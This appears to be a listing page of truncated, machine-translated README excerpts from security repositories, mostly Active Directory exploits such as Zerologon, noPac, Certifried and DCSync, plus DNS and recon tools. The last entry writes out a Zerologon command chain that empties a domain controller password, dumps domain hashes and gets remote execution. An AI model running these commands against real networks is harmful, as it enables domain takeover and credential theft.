Check-AAD-Connect-for-CVE-2021-36949-vulnerability

Lo script verificherà se la tua installazione di Azure AD Connect esegue una versione affetta dalla vulnerabilità descritta in CVE-2021-36949. Le versioni interessate sono 1.6.4.0 e 2.0.3.0. Esegui lo script sul server che ospita l'installazione di AAD Connect. Lo script verifica anche se la...

CVE-2022-26923_AD-Certificate-Services

CVE-2022-26923 AD-Zertifikatdienste Veröffentlichungsdatum : 10/05/2022 Angriffskomplexität: Niedrig Erforderliche Privilegien: Niedrig CVSS-Score : 8.1 Die Schwachstelle ermöglichte es einem Benutzer mit geringen Berechtigungen, in einer Standard-Active-Directory-Umgebung mit installierter...

CVE-2022-26923

CVE-2022-26923 Descrizione Questa vulnerabilità consentiva a un utente con privilegi limitati di elevare i propri privilegi ad amministratore di dominio in un ambiente Active Directory predefinito con il ruolo del server Active Directory Certificate Services AD CS installato. È principalmente...

CVE-2022-30216

CVE-2022-30216 Ein Zeek-Paket, das Benachrichtigungen Notices für Versuche und Ausnutzungen von CVE-2022-30216 erzeugt – eine Technik, die gegen Windows Server eingesetzt wird, um eine NTLM-Autorisierung gegenüber einem beliebigen Server zu erzwingen. Ein Angreifer kann das NTLM-Token...

noPac

Über NoPac-Exploit, der einige alte Schwachstellen CVE-2021-42278 und CVE-2021-42287 ausnutzt, um sich von einem Standardbenutzer als Domänenadministrator auszugeben. Keine lästigen Abhängigkeiten mehr, nur eine einzelne Binärdatei – heilige Scheiße, ich liebe Go, Python könnte das NIEMALS. Das...

rmm

Recon MindMap RMM Inspiriert vom Workshop TBHM v4 recon edition by Jason Haddix habe ich ein Kommandozeilen-Tool CLI entwickelt, das die Aufgabe vereinfacht, eine Liste von Domains und Subdomains zu organisieren. Das Ziel ist es, ein Tool zu schaffen, das mit Mind-Mapping-Software wie Obsidian Mi...

DNSnitch

DNSnitch Haftungsausschluss Ich verwende das für mich selbst, es ist hier falls es jemand braucht. Fühle dich frei, ein Issue zu eröffnen, wenn du Fehler findest! Die interaktive Terminal-DNS-Firewall DNSnitch ist ein lokaler, datenschutzorientierter DNS-Server, der dir die vollständige Kontrolle...

Invoke-DCSync

Invoke-DCSync Invoke-DCSync Riferimento: https://adsecurity.org/?p=1729 Riferimento: https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ Obiettivo: recuperare gli hash delle password di tutti gli account utente su un controller di dominio utilizzando la funzione DCSync di...

ail-typo-website

ail-typo-website Website für die Bibliothek ail-typo-squatting. Diese Website ist stark von der dnstwist-Website inspiriert. Anforderungen requests flask flask-restx werkzeug ail-typo-squatting idna redis tldextract pymisp beautifulsoup4 nltk scikit-learn So führen Sie es aus Das Hauptskript, das...

CVE-2022-26923

CVE-2022-26923 Come descritto da Tenable: vulnerabilità di elevazione dei privilegi in Active Directory Domain Services CVSS v3 Punteggio base: 8.8 Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Gravità: Alta Riepilogo: La CVE-2022-26923 sfrutta una vulnerabilità in Microsoft Active Directo...

CVE-2020-1472

CVE-2020-1472 POC Richiede l'ultima versione di impacket da GitHub con le strutture netlogon aggiunte. Nota: di default questo script modifica la password dell'account del domain controller. Sì, questo consente di eseguire DCSync, ma interrompe anche la comunicazione con gli altri domain...

dirkjanm-CVE-2020-1472

CVE-2020-1472 POC Richiede l'ultima versione di impacket da GitHub con le strutture netlogon aggiunte. Si noti che, per impostazione predefinita, questo cambia la password dell'account del controller di dominio. Sì, questo permette di eseguire DCSync, ma interrompe anche la comunicazione con altr...

CVE-2020-1472

CVE-2020-1472 POC Richiede l'ultima versione di impacket da GitHub con le strutture netlogon aggiunte. Nota: di default questo cambia la password dell'account del domain controller. Sì, questo ti permette di fare DCSync, ma interrompe anche la comunicazione con gli altri domain controller, quindi...

Metasploit-CVE-2026-54121-Certighost

Metasploit-CVE-2026-54121-Certighost Certighost originariamente scoperto e sfruttato da h0j3n e Aniq Fakhrul. Questo repository contiene un modulo ausiliario Metasploit che consente di passare da un qualsiasi utente di dominio con privilegi limitati alla compromissione completa del dominio abusan...

rapiddns

Beschreibung Einfaches Python-Modul inoffiziell, mit dem du auf Daten von rapiddns.io zugreifen kannst. Du kannst es auch als Modul verwenden. Wie auf rapiddns.io erwähnt: Rapiddns verfügt derzeit über mehr als 3 Milliarden DNS-Auflösungsdaten und unterstützt die Typen A, CNAME, AAAA, MX...

CVE-2021-25461

CVE-2021-25461 Dies ist ein Repository mit dem Proof of Concept für die CVE, die im Rahmen des SAUSAGE-Papiers Security Analysis of Unix domain Socket usAGE in Android entdeckt wurde. Das Papier wurde zur EuroS&P 2022 angenommen. Ich habe an diesem Paper mit Mounir Elgharabawy gearbeitet, der die...

SecuraBV-CVE-2020-1472

Script di test per ZeroLogon Uno script Python che utilizza la libreria Impacket per testare la vulnerabilità dell'exploit Zerologon CVE-2020-1472. Tenta di eseguire il bypass dell'autenticazione Netlogon. Lo script terminerà immediatamente quando il bypass viene eseguito con successo e non...

dnschef-ng

!NOTE Questa è una versione aggiornata di DNSChef originariamente scritto da @iphelix | | v0.7 | | / | | | | | | | / | ' / |/ | ' \ / \ || ' \ / | | | | | | \ | | | | / | | | | | | | ,|| ||/ || | ||| | | || , | / | | / D O C U M E N T A T I O N root@kitploit: DNSChef è un proxy DNS altamente...

CVE-2025-58434

Ersetzen Sie example.com durch Ihr Ziel...

CVE-2020-1472

CVE-2020-1472 arp-scan Rangip nmap -A -vv -Pn IPADDR python3 setemptypw.py DCNETBIOSNAME DCIPADDR python3 secretsdump.py -no-pass -just-dc DOMAIN/DCNETBIOSNAME$@DCIPADDR python3 wmiexec.py -hashes HassPasswdUser DOMAIN/User@dcipaddr Windows-Befehle whoami systeminfo hostname md testdir echo test...